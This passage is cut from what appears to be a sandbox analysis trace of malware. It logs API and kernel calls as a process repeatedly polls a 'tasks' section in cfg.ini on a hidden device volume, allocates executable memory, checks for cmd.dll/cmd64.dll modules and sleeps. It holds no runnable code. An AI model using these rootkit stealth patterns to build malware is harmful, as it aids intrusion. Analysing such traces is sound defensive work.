Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] KeLeaveCriticalRegion () [0126.939] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.939] KeEnterCriticalRegion () [0126.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.939] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f78c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] KeLeaveCriticalRegion () [0126.939] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.939] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.939] KeEnterCriticalRegion () [0126.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] KeLeaveCriticalRegion () [0126.939] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.939] ReleaseMutex (hMutex=0xf0) returned 1 [0126.939] Sleep (dwMilliseconds=0x927c0) [0126.958] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.958] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.958] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.959] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.959] KeEnterCriticalRegion () [0126.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.959] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.959] IdePortDispatch () returned 0x103 [0126.959] KeWaitForMutexObject () returned 0x0 [0126.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.959] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.959] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.959] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.959] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.959] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0126.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.959] KeLeaveCriticalRegion () [0126.959] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.959] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.959] KeEnterCriticalRegion () [0126.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.959] KeLeaveCriticalRegion () [0126.959] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.960] KeEnterCriticalRegion () [0126.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.960] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.960] IdePortDispatch () returned 0x103 [0126.960] KeWaitForMutexObject () returned 0x0 [0126.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.960] KeLeaveCriticalRegion () [0126.960] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.960] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.960] KeEnterCriticalRegion () [0126.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.960] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b41000 [0126.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.960] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.960] IdePortDispatch () returned 0x103 [0126.961] KeWaitForMutexObject () returned 0x0 [0126.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.961] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.961] IdePortDispatch () returned 0x103 [0126.961] KeWaitForMutexObject () returned 0x0 [0126.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.961] KeLeaveCriticalRegion () [0126.961] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.962] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.962] KeEnterCriticalRegion () [0126.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] KeLeaveCriticalRegion () [0126.962] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.962] KeEnterCriticalRegion () [0126.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] KeLeaveCriticalRegion () [0126.962] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.962] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.962] KeEnterCriticalRegion () [0126.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0126.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.962] KeLeaveCriticalRegion () [0126.962] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.962] ReleaseMutex (hMutex=0xf0) returned 1 [0126.963] Sleep (dwMilliseconds=0x927c0) [0126.980] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.980] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.980] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.981] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.981] KeEnterCriticalRegion () [0126.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.981] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.981] IdePortDispatch () returned 0x103 [0126.981] KeWaitForMutexObject () returned 0x0 [0126.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.981] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.981] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.981] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.981] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.981] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7610 [0126.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.981] KeLeaveCriticalRegion () [0126.981] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.981] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.981] KeEnterCriticalRegion () [0126.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.981] KeLeaveCriticalRegion () [0126.981] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.982] KeEnterCriticalRegion () [0126.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.982] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.982] IdePortDispatch () returned 0x103 [0126.982] KeWaitForMutexObject () returned 0x0 [0126.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.982] KeLeaveCriticalRegion () [0126.982] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.982] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.982] KeEnterCriticalRegion () [0126.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b46000 [0126.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.982] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.982] IdePortDispatch () returned 0x103 [0126.983] KeWaitForMutexObject () returned 0x0 [0126.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.983] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.983] IdePortDispatch () returned 0x103 [0126.983] KeWaitForMutexObject () returned 0x0 [0126.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.983] KeLeaveCriticalRegion () [0126.983] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.984] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.984] KeEnterCriticalRegion () [0126.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] KeLeaveCriticalRegion () [0126.984] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.984] KeEnterCriticalRegion () [0126.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.984] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] KeLeaveCriticalRegion () [0126.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.984] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.984] KeEnterCriticalRegion () [0126.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] ExFreePoolWithTag (P=0xfffffa800c4f7610, Tag=0x0) [0126.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.984] KeLeaveCriticalRegion () [0126.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.984] ReleaseMutex (hMutex=0xf0) returned 1 [0126.984] Sleep (dwMilliseconds=0x927c0) [0127.004] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.004] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.004] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.004] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.004] KeEnterCriticalRegion () [0127.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.004] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.004] IdePortDispatch () returned 0x103 [0127.004] KeWaitForMutexObject () returned 0x0 [0127.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.004] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.004] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.004] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.004] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.004] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0127.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.004] KeLeaveCriticalRegion () [0127.004] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.005] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.005] KeEnterCriticalRegion () [0127.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.005] KeLeaveCriticalRegion () [0127.005] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.005] KeEnterCriticalRegion () [0127.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.005] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.005] IdePortDispatch () returned 0x103 [0127.005] KeWaitForMutexObject () returned 0x0 [0127.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.005] KeLeaveCriticalRegion () [0127.005] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.005] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.005] KeEnterCriticalRegion () [0127.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4b000 [0127.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.006] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.006] IdePortDispatch () returned 0x103 [0127.006] KeWaitForMutexObject () returned 0x0 [0127.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.006] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.006] IdePortDispatch () returned 0x103 [0127.006] KeWaitForMutexObject () returned 0x0 [0127.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.006] KeLeaveCriticalRegion () [0127.006] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.007] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.007] KeEnterCriticalRegion () [0127.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.007] KeLeaveCriticalRegion () [0127.007] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.007] KeEnterCriticalRegion () [0127.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.007] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.007] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.007] KeLeaveCriticalRegion () [0127.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.007] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.007] KeEnterCriticalRegion () [0127.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.008] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0127.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.008] KeLeaveCriticalRegion () [0127.008] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.008] ReleaseMutex (hMutex=0xf0) returned 1 [0127.008] Sleep (dwMilliseconds=0x927c0) [0127.027] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.027] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.027] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.027] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.027] KeEnterCriticalRegion () [0127.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 